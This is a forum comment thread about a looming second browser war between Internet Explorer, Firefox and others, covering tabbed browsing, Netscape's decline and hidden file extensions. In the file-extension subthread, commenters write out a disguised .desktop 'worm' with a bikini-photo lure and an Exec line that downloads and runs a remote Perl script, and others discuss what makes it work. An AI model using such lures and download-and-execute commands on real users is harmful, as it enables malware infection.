Browser Wars 2: Electric Boogaloo

Tomas wrote to mention an article up on XYZ Computing discussing what is shaping up to be another round of the Browser Wars. From the article: "To anyone that has been following the Window's browser news lately, it is apparent that the stage is set for another browser war. Last experienced during the nineties, companies are fighting over which program consumers use to view the internet. For the average computer user this is a very good thing as it should drastically improve browser performance in a short period of time."

Comments

what do you mean MS doesn't do tabs?

[yagu]

From the fine article:

The feature which everyone is talking about lately is the addition of tabbed browsing to IE. While all other popular browsers have gone the tabbed route IE has resisted, ostensibly because other Microsoft programs do not use this. The change will be made though it is less important that in the past because Windows XP's taskbar is capable of grouping similar buttons, which effectively tabs a number of IE windows.

First, Windows products do seem to use TABS.... Right-click on "My Computer" (if you've actually left it named that!), select PROPERTIES. Not only does Microsoft use TABS to manage some of the most important aspects of computers, they've done it poorly! What the....???? When you click on an upper row tab, the upper row of TABS becomes the bottom row?!? Wow! Yes, Microsoft products not only support and/or use TABS, they were the first to make me hate tabbed interfaces.

Fortunately Mozilla and Firefox came along and convinced me tabbed interfaces could be done nicely and ergonomicly. I'm back in the tabbed fold... sigh.

Second, the claim that adding tabbed browsing to IE is less important because the Taskbar can group similar activities, therefor it already is like tabbed browsing may illustrate more than I'm able how Microsoft doesn't get it. The "like apps" Taskbar browsing has been the source of more headaches for me... I've tried using it, found it obtuse and annoying -- that's okay, just my preference and opinion. But, once again, it's been frustrating in a support role because you (rhetorically) end up trouble-shooting for users an interface poorly thought out and confusing to users. I find Microsoft's "easy to use" ideas sometimes baffling.... (how many times have you over the phone tried to walk someone through a WORD problem only to stumble when they can't find the menu option, and it's because Microsoft has unilaterally decided "hiding" little-used features under menu chevrons).

Other than that, back to the main topic, hopefully more energetic competition in the browser world will mean better and higher quality browsers, but if history serves, it will be a minor spurt in advancement until Microsoft has re-landed their stranglehold on that segment of the market.... and I'm guessing that won't take very long.

Re:what do you mean MS doesn't do tabs?

[Colin Smith]

I do not *believe* the fuss made over tabbed browsing. I mean, FFS!

Re:what do you mean MS doesn't do tabs?

[wallykeyster]

Personalized Menus are a support nightmare, but lets not stop there. If you want to talk about an even worse default setting that has caused unbelievable trouble, what about hiding file extensions? This option was largely responsible for the success of email viruses that came as attachments named "big_boobs.jpg.exe". Despite little value to this setting and massive downside, Microsoft refused to change it for years.

Re:what do you mean MS doesn't do tabs?

[yagu]

Absolutely Microsoft in my opinion has done more damage to the interest of seamless computing with that single "transparency" than maybe all other gaffes combined (probably thought they were creating something seamless!)! I've seen more hacks, more lost files, more corrupt files, and more hijacked files with the hidden extension "feature". Jumping from the 8.3 restriction in DOS (another thing Microsoft could've/should've fixed long ago with their bully pulpit but didn't) into Windows and GUI's and high powered computing rather than expunging extensions as a requirement to "make things work", Microsoft hid them! And so something that is ostensibly necessary in the Microsoft paradigm and probably should be opaque so people can be aware, ask questions, and learn what extensions are, how they're used, and why they exist.... Microsoft opts to make transparent!

You're right on about the filename.jpg.exe hacks.... but equally annoying are the piggybacking superfluous extensions, e.g., mypicture.jpg.JPG. Sheeesh!

Re:what do you mean MS doesn't do tabs?

[th0mas.sixbit.org]

I agree 100% with parent, but just wanted to add reason 3 why the article is silly to suggest "Windows XP's taskbar is capable of grouping similar buttons, which effectively tabs a number of IE windows." When it groups similiar buttons, they're (at least) 2 clicks away (plus if you're like me, if you're stuck in windows, your start menu is autohidden, so it's 2 clicks & a split second wait). Plus, when experiencing ram-withdrawal lag, switching IE windows often becomes a 5-second hard-drive lagathon. Certainly a better PC fixes this but the point is on the same machine firefox's tabbed browsing switches sites on the fly without the lag. Any author of an article suggesting that the taskbar effectively emulates tabbed browsing has either never used a tabbed browser, or is a microsoft lackey in disguise.

Re:what do you mean MS doesn't do tabs?

[Sancho]

Taskbar program grouping takes care of one problem that tabbed-browsing solves, namely having easy access to any number of "windows". It does not, however, solve the "too many windows" problem. Open up 9 firefox Windows and see how unwieldy your desktop is. Furthermore, Alt+Tab also suffers from multiple windows, whereas with tabbed browsing, one Alt+Tab gets you to the browser window, then ctrl+tabs get you to the right tab.

Re:what do you mean MS doesn't do tabs?

[giorgiofr]

btw, i really don't understand what the big deal about tabs in msie is... people who cared have been using them for ages with products like slimbrowser, like i did before using firefox. people who don't will continue not to care and will not use them, probably they'll never even see them because ms will make it so that, by default, when there's only one tab it is hidden.

Re:what do you mean MS doesn't do tabs?

[diegocgteleline.es]

but if history serves, it will be a minor spurt in advancement until Microsoft has re-landed their stranglehold on that segment of the market.... and I'm guessing that won't take very long.

Actually, the reason why IE has 90% of market share is not that Microsoft put it by default in windows. It helped, indeed, but there're proofs that netscape pretty much fucked it up. Basically, Netscape let them win without opposing resistance

Here's an interview from Arstechnica to Scott Collins, a programmer who was working at netscape back in the netscape 4.0 days:


Ars: You mention mistakes made by Microsoft. What do you feel are mistakes that Mozilla has made in the past?

There was a fundamental mistake made by Netscape management, twice, which cost us a release at the most inopportune time. I think we can attribute a great deal of our market share loss to this mistake that was pretty much based completely on lies from one executive, who has since left the company (and left very rich) and who was an impediment to everything that we did. He was an awful person, and it is completely on him that we missed a release. We had a "Netscape 5" that was within weeks of being ready to go, and this person said that we needed to ship something based on Gecko within 6 months instead. Every single engineer in the company told management "No, it will be two years at least before we ship something based on Gecko." Management agreed with the engineers in order to get 5.0 out.a

Three months later they came back and said "We've changed our mind, this other executive has convinced us, except now instead of six months, you need to do it in three months." Well, you can't put 50 pounds of [crap] in a ten pound bag, it took two years. And we didn't get out a 5.0, and that cost of us everything, it was the biggest mistake ever, and I put it all on the feet of this one individual, whom I will not name.

Re:what do you mean MS doesn't do tabs?

[Clockwurk]

When you click on an upper row tab, the upper row of TABS becomes the bottom row?!?

Do you think before you post? If the default behaviour was for the upper row to stay the upper row when clicked, it would cover up the bottom row of tabs.

Re:what do you mean MS doesn't do tabs?

[diegocgteleline.es]

This option was largely responsible for the success of email viruses that came as attachments named "big_boobs.jpg.exe"

IMO the problem there was the .exe extension, not that they hide it. No matter what you do, a .exe file is executable. Compare it to the Unix's permission model. You could download a executable from internet, but it wouldn't work because it has not the +x bit set.

And don't think you're free of the Windows braindamage in linux/BSD. Freedesktop managed to fuck it again, with the "desktop specification file" (Warning: don't try to discuss this with the freedesktop guys. I already tried). Noticed how nautilus and konqueror hide the extension in .desktop files? Noticed how inside a .desktop file you have a "Run=" field where you can put "Run=wget www.foo.com/worm.pl; perl worm.pl"? Noticed in fact how you can hide the whole file name by adding a "Name=" field?

In fact, look at the following valid worm:

I'm called Mary, and I want to know what you think about my new bikini
To see me, save the attached file in your desktop and double click it. Kisses!

attached file: save.to.your.desktop
Name=My Bikini zoomed.jpg
Icon=fakeiconpresentonthesystem.png
Exec=wget http://www.foo.com/evilperlscript; perl evilperlscript

We just need more marketshare to see this work.

Re:what do you mean MS doesn't do tabs?

[Anonymous Coward]

Hahahaha! Thankyou. The whole top-row-moving-to-the bottom-row thing has been annoying me for ages but it makes a little more sense now. I wish I had some mod points and that there was a "common sense" modifier.

Re:what do you mean MS doesn't do tabs?

[th0mas.sixbit.org]

Do you think before you post?

There's more than one way to skin this cat, you could leave the two rows in the same order and just change the bottom frame. There's nothing saying the content of a window has to start directly below it's tab.

Certainly this would create an ugly GUI glitch, so maybe I should think before I post..

Re:what do you mean MS doesn't do tabs?

[Taladar]

How about not having two rows of tabs at all and simply designing the interface simple enough to need less tabs than you can fit in one row?

Re:what do you mean MS doesn't do tabs?

[jerw134]

No matter what you do, a .exe file is executable.

Really? Because when I change the Read & Execute permission on the file to Deny, I sure as hell can't execute it.

Re:what do you mean MS doesn't do tabs?

[DrSkwid]

Tabs were introduced by Microsoft in Office 97, which were copied from Lotus Organizer which were copied as a metaphor from paper organizers

Re:what do you mean MS doesn't do tabs?

[Koiu Lpoi]

You're the first person I've ever seen say that Microsoft has a Bully Pulpit.

You sir, are awesome.

Re:what do you mean MS doesn't do tabs?

[ucblockhead]

The MS product that has long had dynamic tabs like Firefox is the Visual Studio IDE.

Re:what do you mean MS doesn't do tabs?

[TwistedSpring]

When you click on an upper row tab, the upper row of TABS becomes the bottom row?!?

This makes sense if you think of tabs like tabs in a binder or rolodex. When you flip to a tab in a rolodex, that tab does indeed occupy the bottom row, and all other tabs occupy the top row.

The problem you're pointing out is simply a problem with the desktop paradigm. I always preferred the Amiga's "workbench" paradigm. It made a lot more sense. I agree that things need to move on. A GUI should not pretend to be a desk top, it can borrow some familiar aspects, but in most areas the analogy does not stand and innovation is needed to improve user experience and present information appropriately. The whole thing is flawed and it's not uncommon for people to get lost in a maze of overlapping windows to the extent that most people just seem to maximize every window and flip between them with the taskbar... which is... oh wait... tabs!

Re:what do you mean MS doesn't do tabs?

[marcansoft]

Yeah, but does anyone do that? Does anyone *know* how to do that? Does anyone know it even *exists*? Is it turned on by default?

It's like saying that that linux is insecure because you can run executables without the +x bit set by running the dynamic linker.

Re:what do you mean MS doesn't do tabs?

[TwistedSpring]

On the other hand, you could argue that extensions are useful. I know that double-clicking on a jpg file will never run it as if it's an exe, so I know that this jpg file that I downloaded is not actually an executable file in disguise. I think the unix method of "no extensions" is even more dangerous, the user has no idea what a file is and relies on the file manager to identify it for them with an icon. I can see a lot of eventualities where I get an e-mail with an executable file attached that's named "harhar.jpg" and I double-click on it in KDE and it executes because the file manager has detected it to be executable. That's much more dangerous in my book. I like that the filename tells me exactly what type of file this is.

Re:what do you mean MS doesn't do tabs?

[rowanxmas]

heh, ./pic.jpg wouldn't run, gimp pic.jpg....oh, open pic.jpg with the gimp! rather than relying on some code to guess what it is. That would be how unix would do it.

Re:what do you mean MS doesn't do tabs?

[fymidos]

I don't believe that NS5 would save the day. Once IE became "good enough" there was no need for most people to search for alternatives.
Still netscape could have kept maybe a 10% of the market and a bigger developer mindshare, which would give a hell of a better start to mozilla.
I suppose that executives had already put all their eggs in the litigation basket...

Re:what do you mean MS doesn't do tabs?

[Anonymous Coward]

Obviously, you haven't heard of Magic Bits, which widely used in Unix to "guess" filetypes. Furthermore, X11 Filemanagers don't necessarily do things "the Unix way"

So, imagine a file called "pic. jpg" (note the space, legal in Unix filenames) that's acutally a perl script. A stupid filemanager would just execute perl "pic. jpg", no execute bit required.

Re:what do you mean MS doesn't do tabs?

[Anonymous Coward]

Right, you can. You also have a ton of scripting languages that don't require execute permissions. So it's like saying that the +x permission is vastly overrated as a security device.

Re:what do you mean MS doesn't do tabs?

[Runagate Rampant]

I think the unix method of "no extensions" is even more dangerous ... I get an e-mail with an executable file attached that's named "harhar.jpg" and I double-click on it in KDE and it executes because the file manager has detected it to be executable.

I have not used KDE but the scenario described has no relation to any "UNIX method" of handling filetypes. Downloaded files should not have an executable bit set unless the user has chosen to set it.

Re:what do you mean MS doesn't do tabs?

[EnderWiggnz]

which filemanager will run a file that doesnt have an execute bit?

Re:what do you mean MS doesn't do tabs?

[Anonymous Coward]

All of them will run some files this way (eg PE executables with Wine).

Re:what do you mean MS doesn't do tabs?

[MidnightBrewer]

Apparently the grandparent knows how to do that and knows it exists, therefore it represents a problem.

Virii are based on flaws in the system that the common user doesn't know about but that doesn't stop them from spreading.

Re:what do you mean MS doesn't do tabs?

[jerw134]

Yeah, but does anyone do that? Does anyone *know* how to do that? Does anyone know it even *exists*? Is it turned on by default?

I have no idea. Obviously, yes. Obviously, yes. No.

It was said that .exe files are executable "no matter what you do," and I simply pointed out that there is something you can do to make them not executable. That's all.

Re:what do you mean MS doesn't do tabs?

[tka]

I tried that kind of desktop file, it didn't work. What are you talking about? Could you tell more about it and prove it? By discussion, I assume that you mailed their mailing lists: can you provide a link to your message in their mailing list archives?

Re:what do you mean MS doesn't do tabs?

[tehshen]

The nearest I got to a working .desktop script was this:

[Desktop Entry]
Version=1.0
Encoding=UTF-8
Name=My Bikini zoomed.jpg
Icon=/usr/share/icons/gnome/48x48/mime types/gnome-mime-image-jpeg.png
Exec=wget www.slashdot.org; dosomething

Which gave me a "Can't display location, it is not a folder" error and did not do anything else. What was meant to happen?

Re:what do you mean MS doesn't do tabs?

[diegocgteleline.es]

Try with Run= instead of Exec=, I copied that wrong

Re: What do you mean MS doesn't do tabs?

[gidds]

Virii are based on flaws in the system that the common user doesn't know about but that doesn't stop them from spreading.

Actually, 'virii' is based on flaws in understanding the English language that common users don't know about. But that doesn't stop it from spreading...

Re:what do you mean MS doesn't do tabs?

[tehshen]

Run= doesn't work either, and I am pretty sure it is supposed to be Exec=. Ah well.

Re: What do you mean MS doesn't do tabs?

[pv2b]

But that doesn't stop it from spreading...

Oh no! Viral grammar! *ducks*

Re:what do you mean MS doesn't do tabs?

[tka]

Try setting the user executable bit and Type=Application then it works. I guess diego forgot to mention/copy those. Then it would be possible trick user. Desktop files should be added to same class as any executables: email programs should warn about them.

But diego, do tell more about the conversations you had with the freedesktop people.

Re:what do you mean MS doesn't do tabs?

[marcansoft]

Ok, I just wanted to point out that really having the option of disabling execution isn't useful for the average user to prevent undesirable execution if it is turned on by default (with the +x bit you need to explicitly mark it as executable, it isn't on by default of course).

Re:what do you mean MS doesn't do tabs?

[Jarlsberg]

I agree 100% with parent, but just wanted to add reason 3 why the article is silly to suggest "Windows XP's taskbar is capable of grouping similar buttons, which effectively tabs a number of IE windows." When it groups similiar buttons, they're (at least) 2 clicks away (plus if you're like me, if you're stuck in windows, your start menu is autohidden, so it's 2 clicks & a split second wait). Plus, when experiencing ram-withdrawal lag, switching IE windows often becomes a 5-second hard-drive lagathon. Certainly a better PC fixes this but the point is on the same machine firefox's tabbed browsing switches sites on the fly without the lag. Any author of an article suggesting that the taskbar effectively emulates tabbed browsing has either never used a tabbed browser, or is a microsoft lackey in disguise.

Your argument is flawed for the following reasons:
1. The start menu is not autohidden by default. And if it is hidden, it easy to change this by right clicking on the start menu and select properties.
2. IE windows are grouped if there are more than a certain number of instances, but this is easily changed too. Actually, I find this "feature" quite annyoing, so I have this switched off for all applications. It's not tabbing per se, it's grouping.
3. Firefox doesn't prevent RAM shortage. If you're low on RAM, even the mighty Firefox will stumble.

But you're right in that the start menu doesn't emulate tabbed browsing. It's a collection of runnings apps, nothing more. Microsoft could of course make it into a tabbed menu system, but what would be the point?

Re:what do you mean MS doesn't do tabs?

[Jarlsberg]

IE didn't just become "good enough" -- it became f**king great, and was heaps better than Netscape at the time. If Netscape kept getting better with every releases instead of increasingly worse, IE wouldn't have attained 90+% market share as fast as it did.

Re:what do you mean MS doesn't do tabs?

[th0mas.sixbit.org]

your rebuttal was mostly irrelevant for the following reasons:

1. I stated in the original post that that was my personal set up. Obviously you can turn it on/off at your preference. This was beyond the point.

2. Naturally. But with it turned off, if you're running any number of other programs (or one with many windows ie msn) your taskbar is quickly overpopulated and impossible to use efficiently. That was why they first implemented grouping in the task bar, but it doesn't fix the problem (instead it makes it worse, and as you said, annoying). Tabbed browsing removes the irrelevant (other programs) from being listed with the relevant (webpages).

3. Naturally, but again that wasn't my point. My point was that the additional load of a page in a tabbed browser would be less than the additional load of a page + window resources if the same page were loaded in a new window. Those extra windows ain't free. I actually might be completely wrong here, but from experience using the two setups I find IE to lag more than firefox, when viewing the same number of websites (new windows vs tabs), and switching tabs usually quicker than switching IE windows.

Dupe title

[Anonymous Coward]

Slashdot just used that! Broadcast Flag 2 - Electric Boogaloo. You're not witty.

Re:Dupe title

[fmileto]

for those that don't know the whole "random title " 2 - Electric Boogaloo comes from the movie Breakin' 2 - Electric Boogaloo and has been used by anyone desperate for a laugh.

Re:Dupe title

[MichaelGospatrick]

Wait- yours is the second post about the meaning of the title. So you should have called it "title post 2: Electric Boogaloo".

LOL!!!!!!!!!!1

Since Zonk posted both

[Anonymous Coward]

I guess that would make this: Zonk II: Electric Boogaloo.

stop the boogaloo madness!

[Anonymous Coward]

Didn't we just have an "electric boogaloo" headline?

Broadcast Flag 2 - Electric Boogaloo

Re:stop the boogaloo madness!

[saladami]

"browser wars 2: the legend of curly's gold" is more acceptable.

Re:stop the boogaloo madness!

[Golias]

I gotta agree. Enough already.

The joke is supposed to be making fun of Breakin' 2: Electric Boogaloo but it stopped being funny sometime around 2002.

First of all, it really was only all that funny the first time it was done, when the creators of Mystery Science Theater used it as part of the name for their second (and last, as it turned out) annual fan convention.

Secondly, pretty much nobody actually remembers the movie Breakin' anyway, let alone the sequel which pretty much nobody went to. Adding "2: Electric Boogaloo" to anything the second time around is really just sponging off the laughs the MST3K guys got from it the first time. It shows about as much wit and inventiveness as repeating a Monty Python joke around a bunch of other nerds. You might get a laugh, but you really should feel like a complete tool afterwards.

Re:stop the boogaloo madness!

[itwerx]

Personally I thought it should be Electric Bugaloo

Re:stop the boogaloo madness!

[SamSim]

It comes from this 1984 movie and its 1984 sequel. As of a few weeks ago, all sequels now have the subtitle "Electric Boogaloo". Personally I'm waiting for "Browser Wars III: The Search For Spock".

Performance schmerformance, I want security

[3770]

I don't care if browsers compete with performance. I don't even much care if they compete with functionality.

I just want security.

Well, OK, I also want standards compliance which maybe counts as functionality. But no crazy "innovative" feature that they believe will woo the public.

Re:Performance schmerformance, I want security

[NanoGator]

"Well, OK, I also want standards compliance which maybe counts as functionality. "

You'll need unambiguous standards before that happens. Even today, no two browsers are alike.

Re:Performance schmerformance, I want security

[Anonymous Coward]

Ah, but there won't be much innovation. Not unless you regard Microsoft's catching up as innovative...

Re:Performance schmerformance, I want security

[hixie]

Yeah. Working on that.

Re:Performance schmerformance, I want security

[Anonymous Coward]

But no crazy "innovative" feature that they believe will woo the public.

But don't you remember? Everybody loved the proprietary marquee and blink tags!! Hm... fond memories of scrolling, flashing webpages? I don't think so.

Browsers Wars...

[__aaclcg7560]

...can't we all just get along together?

Re:Browsers Wars...

[1010011010]

According to Bill, no.

Re:Browsers Wars...

[__aaclcg7560]

Considering that Netscape 8 neutered Internet Explorer, I'm not surprised.

Firefox vs IE

[1010011010]

The battle is Firefox vs IE. The danger is of Microsoft winning again, but not because they have a better product.

At best, IE 7 will work only on certain versions of Windows.

Re:Firefox vs IE

[NanoGator]

"The battle is Firefox vs IE. The danger is of Microsoft winning again, but not because they have a better product."

Gee, then I guess the Mozilla group will have to keep innovating. Boy, that'd sure suck for the rest of us.

Re:Firefox vs IE

[Anonymous Coward]

Napster-to-go says "Fill and refill your compatible MP3 player", which is a lie. It's not MP3. It's WMA with DRM.

Maybe it's an MP3 player that you're filling with WMA+DRM? At least from that quote they're not claiming you can "Fill and refill your compatible MP3 player with MP3s." So what's the problem that you thought it important enough to make a dumb sig about it?

Re:Firefox vs IE

[Taladar]

The danger isn't Microsoft winning again, the danger is anyone winning at all. Sure, the current situation with a closed source 90% market share product is worse than a 90% market share open source product situation but a far better outcome for improved standard compliance in the future would be a market with 3 or 4 browsers with at least 20% market share each.

Re:Firefox vs IE

[Anonymous Coward]

The concern is that given Microsoft is able to bundle IE7 then even if Firefox though it is currently superior it may have problems competing in the future once IE gains tabbed browsing and managing to steer clear of patent infringement. Patent infringement is less of an issue for Microsoft as it has a patent portfolio for protection. Even more worrying would be if IE incorporates a feature which is patent protected and becomes ubiquitous (due to larger market share of IE) as Firefox will be unable to implement this.

extensions

[roman_mir]

it looks like all browsers will have to implement each other's functionalities. For example I wouldn't think for a second going to MSIE unless it was CSS2 compatible and it fully supported XPI extensions. I am biased of-course, since I am working on my own extensions (russkey, leetkey) so why would I want to use a browser that does not provide the same functionality? The only way to force someone like me to use IE is to make sure that the places I work at are only IE compliant and do not work in other browsers, because voluntarely, I would not use websites that are locked into IE only.

Re:extensions

[R.Mo_Robert]

Why would IE support XPI extensions? To support all of them, they'd probably have to re-write IE in XUL, and to accurately support all existing Fx XPI's unmodified, they'd have make it the exact same as Firefox. Does Mozilla support IE's Browser "Helper" Objects? Of course not.

But I do agree that I will never use or recommend IE until its CSS compliance improves.

P.S. - The links to russkey and leetkey are are broken (for those who need help viewing them: remove "slashdot.org/" from them and they will work).

Re:extensions

[cnettel]

Demanding that IE should support XPIs is like saying Linux has to support Win32, natively. They are dependent on the object model of the browser itself. To imitate it would mean imitating more or less all of Gecko.

It would also mean that you expect Firefox to support the IE Google toolbar, in a binary compatible manner (on Windows), and every other, let's say, less reputable BHO (Browser Helper Object, the main IE method of extension of the UI itself). Gator may ring some bells for you.

My own favorite personal BHO played Black Jack 'til it won in an online sweepstake for a magazine. Unfortunately, the first time, it wasn't ready for what the "you've won" page would look like, so it just closed it down, before I could stop it. Damn...

Re:extensions

[Anonymous Coward]

That's all very nice but I doubt MS will design their new products with the goal of attracting Mozilla developers. Similarly, you probaly do not design your extensions to attract hardcore MS developers.

Re:extensions

[roman_mir]

No, MS does not need to rewrite IE in XUL to support XPIs. All they have to do is provide a compatibility layer that interpreted XUL correctly.

BROWSER WARS IV - A New Hope

[Anonymous Coward]

It is a period of civil war.
Mozilla spaceships, striking
from a hidden base, have won
their first victory against
the evil Microsoft Empire.

During the battle, Mozilla
spies managed to steal secret
plans to the Empire's
ultimate weapon, INTERNET
EXPLORER 7, an armored web
browser with enough power to
destroy an entire website.

Pursued by the Empire's
sinister agents, Firefox users
race home aboard their
browser, custodian of the
web standards that can save
their people and restore
freedom to the web....

Re:BROWSER WARS IV - A New Hope

[SCVirus]

That background Opera music seems to be winning some small victories too.

Performance?

[slavemowgli]

Maybe it's just me, but I think browser performance isn't much of a problem any more these days. Standards compliance, on the other hand, is, and I hope that this is the area where a new browser "war" might actually help out.

We all know that IE's standards compliance leaves a lot to be desired, but the Mozilla crew's product leaves a number of things to be desired, too. The Acid2 test may be one example, but there's also other things like MNG support and CSS-generated content where Gecko is still lacking, so hopefully, the people in charge will realize that if they want to replace IE as the standard browser, they shouldn't repeat the same mistakes of not caring about the finer details of the standards.

Re:Performance?

[pomo monster]

Indeed. Not to let IE off the hook, but Gecko's lack of support for display: inline-block and display: run-in has substantially complicated many a project of mine. Even IE supports these properties, for shame, and the workarounds for Gecko are a real bitch, where they exist at all.

Just a pet peeve of mine, I guess. Anyone else?

Re:Performance?

[DrSkwid]

When you are running Firefox on your Nokia tablet, you might start singing the performance song.

Re:Performance?

[Jeff DeMaagd]

I think it is a mistake to associate performance with speed and then think that reliability, efficiency, repeatability, standards compliance aren't performance parameters.

I really don't believe that the first browser war helped performance by any measure unless you count how quickly the version numbers changed and how many bugs were created in the rush to compete.

Re:Performance?

[chrisbeach]

Browser performance isn't a problem?

One of the many reasons I don't use Firefox is because it is a dog to load, both on Mac and PC, sometimes taking 10+ seconds.

What about Opera?

[Will2k_is_here]

I don't even like Opera but I'm very surprised Opera 8 never got mentioned in the article. NS8 over Opera?! Sub-par... sub-par...

Re:What about Opera?

[whitehatlurker]

Only the web intelligentsia seem to know about Opera. If you see an article which does not mention it, particularly in a context such as this, you can be fairly certain that the author isn't broadly educated on web browsers.

I'm not saying they don't know what they are talking about - they just don't know enough to talk about it in a global (world wide?) context.

a better idea for tabbed browsing

[mimayin]

To win the browser war, budding browser development teams should implement my new idea for tabbed browsing.

The browser should let you access all the paid sites you want, and put all the charges on a tab. This can then be paid off at the end of the month. I'd switch to running IE under Wine (is that even possible?) if M$ brought this feature out.

SUPPORT TABBED BROWSING!!

Re:a better idea for tabbed browsing

[Anonymous Coward]

Are you stupid? You're stupid.

That idea basically works out to allowing your browser to give out credit card info.

I think I saw a big E

[synthespian]

I saw a big E (IE logo) in the middle of the article and didn't see the Firefox logo, so I'm not gonna read the rest of the article, because I think this is subliminal propaganda.

Re:I think I saw a big E

[Anonymous Coward]

Seriously!

Re:I think I saw a big E

[Anonymous Coward]

There is a FF logo, but does not benefit from the "in the middle of text" effect. It's on page 2. There's also the Netscape logo on page 3.

Re:I think I saw a big E

[synthespian]

I saw 'em too, but THEY'RE SMALLER.
I was joking. Was I joking?

Re:I think I saw a big E

[synthespian]

Gee, I was modded a troll! Oh, the lack of humor!

The End of IE

[ZendarPC]

Finally, the next browser war, the one in which IE will finally be soundly and forever defeated. The only question remains: What will the IE team do after they've lost? Open up a t-shirt stand, or maybe go on vacation for a few months?

Re:The End of IE

[Anonymous Coward]

They will become speakers for the dead.

Re:The End of IE

[Timesprout]

You seem to be overlooking one small point, IE actually deserved to win the last browser war because guess what, it was a better browser than Netscape. So with previous experience at seeing off a competitor and still having by far the lions share of the market what makes you so sure they will loose this time?

Re:The End of IE

[SA Stevens]

IE actually deserved to win the last browser war because guess what, it was a better browser than Netscape

Only for certain meanings of the term 'better.'

IE is pathetically bad on platforms not running Microsoft's Windows Operating System (or certain versions of MacOS). The emulation cruft you have to tack on to make it play well on even another Intel-based platform make it a non-starter.

Re:The End of IE

[krappie]

You seem to be overlooking one small point, IE actually deserved to win the last browser war because guess what, it was a better browser than Netscape.

That may be true, but you're overlooking another small point. The reason IE won had nothing to do with it being better. Simply putting it on the desktop of every windows computer, and therefore every computer you buy from any major manufacturer, is what made it win. As long as this is true, there will never be another war. Even if IE had a timer to crash every 30 minutes, it would still have 80% market share.

Re:The End of IE

[Anonymous Coward]

lose
loose

Two different terms....

aaagghhh!

*explodes*

Re:The End of IE

[ZendarPC]

While one might say that IE 'deserved' to win, that really takes a larger perspective on things. Now, whether it should have one, then yes, it should have, because it was omnipresent on the majority of machines and Netscape's strategy was a failure. Now, however, with the simplicity of Firefox, not to mention that it is also free, it plays on a much closer to level playing ground than Netscape did. Firefox is a superior product now, and with few roadblocks to hold it back, I believe that Firefox will overtake IE in a final, decisive battle. Firefox's rate of expansion and its vast grass-roots marketing are sure to leave a dent, if not win. That is how I believe that Microsoft will lose this time, in a final, decisive battle.

Re:The End of IE

[spectecjr]

The reason IE won had nothing to do with it being better. Simply putting it on the desktop of every windows computer, and therefore every computer you buy from any major manufacturer, is what made it win. As long as this is true, there will never be another war. Even if IE had a timer to crash every 30 minutes, it would still have 80% market share.

Which misses one key point: I used Netscape up until version 4.2 or so - at which point, IE made leaps and bounds ahead of Netscape, was better, so I used that instead.

Explain that one.

Re:The End of IE

[Timesprout]

Well I meant deserved in that it was a better product. The fact it was ubiquitous is as others and yourself have noted was the major factor.

Regarding Netscapes strategy I think Mozilla have been down a very similar road (going to rule the world etc) Firefox is simpler but from painful experience rather than design.

Free ?? If you meant as in beer so was netscape and so is just about every other browser these days. If you meant speech, heres a newsflash Joe Sixpack doesnt give a rats ass.

Rapid rate of expansion?? You do know its slowing and is still at under 10%?

Firefox is undoubtly a better browser than IE at the moment but I expect that will change in the near future. The fact that Firefox is now as you put it simpler puts it squarely in the commodity market. What will its differentiator be when IE has a comparable feature list and comes preinstalled and is what people are familiar with? So I cant really see where your 'final decisive battle' is coming from other than the emotive cliche book. If there had been a quality OS browser back when Netscape and IE were duking it out then I think a lot more people would be using it if only because of market entrenchment, but the simple fact is that OS had nothing back then of sufficient quality to begin to even compete. Now 5 years after the fact they have a very good browser but personally I think its too late to achieve the sort of domination MS did (frankly I dont want anyone dominating I want 3 or 4 browsers sharing the market).

Fortunately though competition does improve the standard of browsers all round so I can switch between Firefox and Opera without much difference as the mood takes me.

Re:The End of IE

[krappie]

Which misses one key point: I used Netscape up until version 4.2 or so - at which point, IE made leaps and bounds ahead of Netscape, was better, so I used that instead.

Explain that one.

You're probably part of the other 20% that would actually change browsers if you liked one better.

But also I'd like to make this point. When was the first time you heard of, saw, or used IE? The first time I ever used it was when I got a new computer with Windows 95 and I used it to download Netscape. How else was I going to get Netscape? I was forced to use it.

You have to admit having it on the desktop of every computer is a HUGE advantage. At that point it doesnt matter what anyone else does, its going to take over the masses.

Re:The End of IE

[pv2b]

IE is pathetically bad on platforms not running Microsoft's Windows Operating System (or certain versions of MacOS).

IE for the Mac is pretty awful too. It won't even render MSN correctly. :-)

Yes, that is the latest version from Microsoft. Which is pretty old, since Microsoft doesn't support IE on Mac any more due to all the competition.

Re:The End of IE

[synthespian]

Whaaaa ?! The first IE was better than Netscape? You weren't around back in the days when Al Gore invented the internet, were ya?

Re:The End of IE

[synthespian]

Let's have a really mature and highly technical discussion here on Firefox and IE: shoulda, woulda, coulda, who cares? Happy with IExploits? Think Microsoft will build secure software, even though it's been promising that for 10 years? Good for you!

Re:The End of IE

[fymidos]

Out of curiosity, when did you switch back to mozilla?

Re:The End of IE

[NutscrapeSucks]

You're both right. IE got 90% marketshare because it was (A) On your desktop already, and (B) Better than Netscape.

In addition, you have (C) Free corporate and ISP deployment costs, (D) Illegal Sherman Act activities, (E) Better low-spec machine performance, (F) Better development platform, (G) Nutscrape's inability to ship v5, (H) Nutscrape v6/Mozilla being a hunk of crap a few years ago, (I) AOL, (J) etc etc

Any one of these could be used to partially explain IE's dominance, so take your pick.

Re:The End of IE

[Anonymous Coward]

When IE5 for the Mac first shipped (a million years ago), it was undeniably the best Macintosh browser. Now, it's dead, there's no reason to keep kicking it.

Re:The End of IE

[SA Stevens]

It's a 'troll' to make the point that IE is 'pathetically bad' on non-Windows platforms?

Who gave Melinda Gates mod points??

Re:The End of IE

[krappie]

You're both right. IE got 90% marketshare because it was (A) On your desktop already, and (B) Better than Netscape.

In addition, you have (C) Free corporate and ISP deployment costs, (D) Illegal Sherman Act activities, (E) Better low-spec machine performance, (F) Better development platform, (G) Nutscrape's inability to ship v5, (H) Nutscrape v6/Mozilla being a hunk of crap a few years ago, (I) AOL, (J) etc etc

Any one of these could be used to partially explain IE's dominance, so take your pick.

Netscape 4.07 is for sure total crap now, but at the time, I actually liked it much better than IE at that time. However, I dont want to get into an argument over which one is better.

Netscape at the time totally dominated the browser market. I genuinely believe that if Microsoft did not have the ability to bundle it with windows and sold IE or offered it equally with Netscape, adoption would have been MUCH slower. I think IE would have no more than 50%-60% market share today. There were other factors, but throwing it on the desktop of every computer you can buy is the only one that really matters. It turned IE into the default. If you want to use another browser on windows, you have to use IE to get it. And I think as long as it remains like this, there will be no 'browser war'.

Re:The End of IE

[spectecjr]

Out of curiosity, when did you switch back to mozilla?

